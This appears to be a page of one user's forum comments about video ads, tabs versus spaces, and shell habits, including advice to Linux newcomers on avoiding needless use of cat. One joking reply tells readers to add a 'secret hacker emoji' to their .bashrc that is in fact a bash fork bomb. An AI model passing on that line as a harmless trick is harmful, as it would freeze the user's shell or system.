

Well, I tried shovin’ a wiener in the warp drive, but it dinna do a bit of good. By the by, would ya have a wee bit of mustard up on the bridge?
*NIX enthusiast, Metal Head, MUDder, ex-WoW head, and Anon radio fan.
Well, I tried shovin’ a wiener in the warp drive, but it dinna do a bit of good. By the by, would ya have a wee bit of mustard up on the bridge?
This is why I have issues taking rawstory seriously.
A story about a story, but not examining the journalism, just … a story about a story.
A link supposedly to watch the story that is actually just a link to the page you’re already reading.
The included clip is to youtube, not MSNBC, and it’s not even to the official MSNBC youtube channel which absolutely does have this same piece posted.
Fuck I hate this.
I run into this most often on sites for TV shows and movies myself.
I understand that we exist under capitalism and that it costs money to host and distribute these videos.
I’m willing to pay for access to this service by letting an ad play (probably while I’m pouring a glass of water in another room and have my speakers off).
What gets me is a 3 minute ad on a 44 second video. Interrupting the middle of a sentence with an ad is also annoying. Placing a 30 second ad in the middle of a song can also fuck right off.
Find an appropriate spot for your ad, and make it’s length sensible with regards to the length of the content I’m watching. Or just don’t offer an ad supported tier of your service.
In the great tabs v spaces debate I am pro spaces.
However context is important. In Obsidian I can’t press shift+space to unindent, I can do this with shift+tab. So in Obsidian I use tabs.
I don’t intend to access these files outside of Obsidian 99% of the time, so I never bothered to flip on the setting that inserts spaces when you use the tab key.
I do not agree with the premise that there needs to be a negative repercussion to doing something before we look at examining the behavior.
I guess I could do some serious gymnastics and reach for something like “when a text file is longer than your terminal scrollback and you cat it, you lose history that you may have been expecting to reference”.
Many of the sort of examples I’m referencing involve spawning subshells needlessly, forking/execing when it’s not actually needed, opening file descriptors that otherwise wouldn’t have been opened. We’re in an interesting bit of the tech timeline here where modern computing power makes a lot of this non-impactful performance wise, but we also do cloud computing where we literally pay for CPU cycles and IOPS.
I guess I’m just a fan of following best practices to the extent practical for your situation, and ensuring that the examples used to inform/teach others show them the proper way of doing things.
No bad things happen when I pour a Hefe into a Pilsner glass either, but now the Germans are coming for me.
So most importantly I’d add -F
to the LESS
environment variable. If I really felt like I was about to run out of keystrokes and didn’t feel like running to the keystroke store, I’d probably alias “l” to “less”.
That aside, you can use a hammer to push a screw into wood. You can use a screwdriver to beat a nail into a board. You can use a board to drive a dowel through a plank. The job gets done either way.
I’m just asking that when illustrating how to fasten a screw, you use a screwdriver.
My prompt is an ASCII cat and my terminal is transparent so that I can always see the cat pic that I use as a desktop wallpaper. Us true cat lovers are always thinking of them, not relying on unix commands to remind us of them.
💕 thanks!
HECK YEAH! AFTRE U DO SOEM cat ~which cat~ | cat | cat -v grep |
DON’T FROGET 2 PUIT DIS SECRAT HAXX0R EMOJI IN UR DOT_BASH-ARECEE FIEL:
:(){ :|:& };:
I know it’s fallen out of fashion, but perl is still pretty cool IMO :D
My dumbass can only come up with three:
/dev/nul
. Which “ok, fine”, but also the point of command would have to be to functionally do nothing other than print out the error ln: failed to create symbolic link '/dev/nul': File exists
I would love to understand the use case behind #2. I am also curious to see even 7 more cases, let alone your figurative million.
In regards to #3 even if the behaviour of ln
was to replace a symlink if it already existed, it’ll probably have to unlink()
the existing symlink, which I’m pretty sure is gonna get you a permission denied error on any /dev filesystem with sane permissions.
Dear linux newbies of the fediverse:
Please do not run cat for the sole purpose of copying a single files content to STDOUT
Your system almost certainly has a pager on it (e.g. ‘less’, ‘more’, ‘most’). Your pager likely has an option like the -F
option of less, which will not paginate the file if your terminal has the space to display it all at once.
You do not need to involve cat to get a files contents into a variable. Any POSIX compliant shell will support MYVAR=$(</tmp/myfile)
You do not need to involve cat to iterate over the lines of a file. You can do things like:
while read myline
do
printf "found '%s'\n" "$myline"
done </tmp/myfile
If you want to concatenate multiple files, but do not care if they all exist, you might use /dev/null to suppress the “no such file” error from cat as such cat file1 file2 file3 2>/dev/null
. Now if file2
is not present, you will not see cat: file2: No such file or directory
. STDERR, where errors tend to get printed will just be sent to /dev/null and never heard from again.
Please do not invoke a command only to see if it is available in the directories listed your PATH environment variable
As an aside this is not the same as seeing if it’s installed.
However you can see if a command is available in any of the directories listed in your PATH using the which
command or shell built-in.
You might want to do something like:
#!/bin/bash
which node &> /dev/null
HAS_NODE="$?"
# ... MORE CODE HERE ...
if [[ $HAS_NODE ]]
then
# something you only do if node is present
:
else
# do something else or print a friendly error
:
fi
This way you don’t see the output of the “which” command when you run the script, but you do get it’s exit code. The code is 0 for a successfully found command and 1 for failure to find the command in your PATH.
This is a command that throws a permission denied error while trying to create a symlink to a file that almost certainly does not exist.
It’s like someone turning to you and saying “Knick knack!” then waiting for you to ask “who’s there?”
Inane. Intentionally convoluted, or someone following the absolute worst tutorials without bothering to understand anything about what they’re reading.
I have questions:
Even jokey comments can lead to people copying bad habits if it’s not clear they’re jokes.
This was a joke right? I was baited by your trolling?
I know this is a meme community, but a modicum of effort IS warranted IMO. https://superuser.com/questions/785187/sudoedit-why-use-it-over-sudo-vi is the top result of a search for “why use sudoedit” and a pretty good answer. “man sudoedit” also explains it pretty well, as shown by another commenter.
You mean sudoedit
right? Right?
Ah yes, the core definition of communism: a small farm offering a delusion of independence, which is run within a capitalist system.
Check out the fzf shell bindings. Reverse history search with fuzzy matching is one of the features.